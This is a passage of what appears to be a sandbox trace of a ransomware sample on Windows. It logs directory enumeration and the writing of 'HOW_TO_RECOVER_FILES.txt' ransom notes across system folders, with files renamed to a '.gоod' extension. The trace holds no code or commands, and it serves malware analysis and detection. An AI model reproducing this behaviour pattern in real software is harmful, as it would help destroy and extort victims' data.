nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.563] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0148.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0148.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0148.564] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\SoftwareDistribution", lpFilePart=0x0) returned 0x27 [0148.564] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbb7171, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbb7171, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0148.564] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0148.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0148.565] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0148.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0148.565] CreateFileW (lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\softwaredistribution\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.566] GetFileType (hFile=0x630) returned 0x1 [0148.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0148.566] GetFileType (hFile=0x630) returned 0x1 [0148.566] WriteFile (in: hFile=0x630, lpBuffer=0x3843bd8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3843bd8*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0148.567] CloseHandle (hObject=0x630) returned 1 [0148.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0148.568] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu", lpFilePart=0x0) returned 0x1d [0148.568] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0148.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0148.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x36 [0148.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0148.570] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\start menu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0150.080] GetFileType (hFile=0x644) returned 0x1 [0150.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0150.080] GetFileType (hFile=0x644) returned 0x1 [0150.112] WriteFile (in: hFile=0x644, lpBuffer=0x37f0078*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x37f0078*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0150.113] CloseHandle (hObject=0x644) returned 1 [0152.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.063] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0152.063] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0152.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0152.065] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0152.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0152.065] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.145] GetFileType (hFile=0x7dc) returned 0x1 [0152.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0152.145] GetFileType (hFile=0x7dc) returned 0x1 [0152.157] WriteFile (in: hFile=0x7dc, lpBuffer=0x3b45598*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3b45598*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0152.157] CloseHandle (hObject=0x7dc) returned 1 [0152.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.158] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0152.158] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.158] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.158] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f9094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.158] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0152.158] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0152.159] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.159] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0152.159] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.159] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.159] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f9094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.159] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0152.160] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.160] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.160] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0152.160] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.160] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.160] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f9094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.161] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3d62f299, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml.gоod", cAlternateFileName="UPDATE~1.GOD")) returned 1 [0152.161] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod", cAlternateFileName="UPDATE~2.GOD")) returned 1 [0152.161] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.161] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.161] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0152.161] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.161] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.162] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f9094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7f9094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7f9094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.162] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3d62f299, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml.gоod", cAlternateFileName="UPDATE~1.GOD")) returned 1 [0152.162] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod", cAlternateFileName="UPDATE~2.GOD")) returned 1 [0152.162] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod", cAlternateFileName="UPDATE~2.GOD")) returned 0 [0152.162] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.163] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0152.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0152.163] CreateFileW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.163] GetFileType (hFile=0x7dc) returned 0x1 [0152.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0152.164] GetFileType (hFile=0x7dc) returned 0x1 [0152.164] WriteFile (in: hFile=0x7dc, lpBuffer=0x3b65238*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3b65238*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.165] CloseHandle (hObject=0x7dc) returned 1 [0152.165] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x36 [0152.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0152.165] CreateFileW (lpFileName="C:\\Users\\All Users\\USOPrivate\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\usoprivate\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.166] GetFileType (hFile=0x7dc) returned 0x1 [0152.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0152.166] GetFileType (hFile=0x7dc) returned 0x1 [0152.222] WriteFile (in: hFile=0x7dc, lpBuffer=0x37c5328*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: 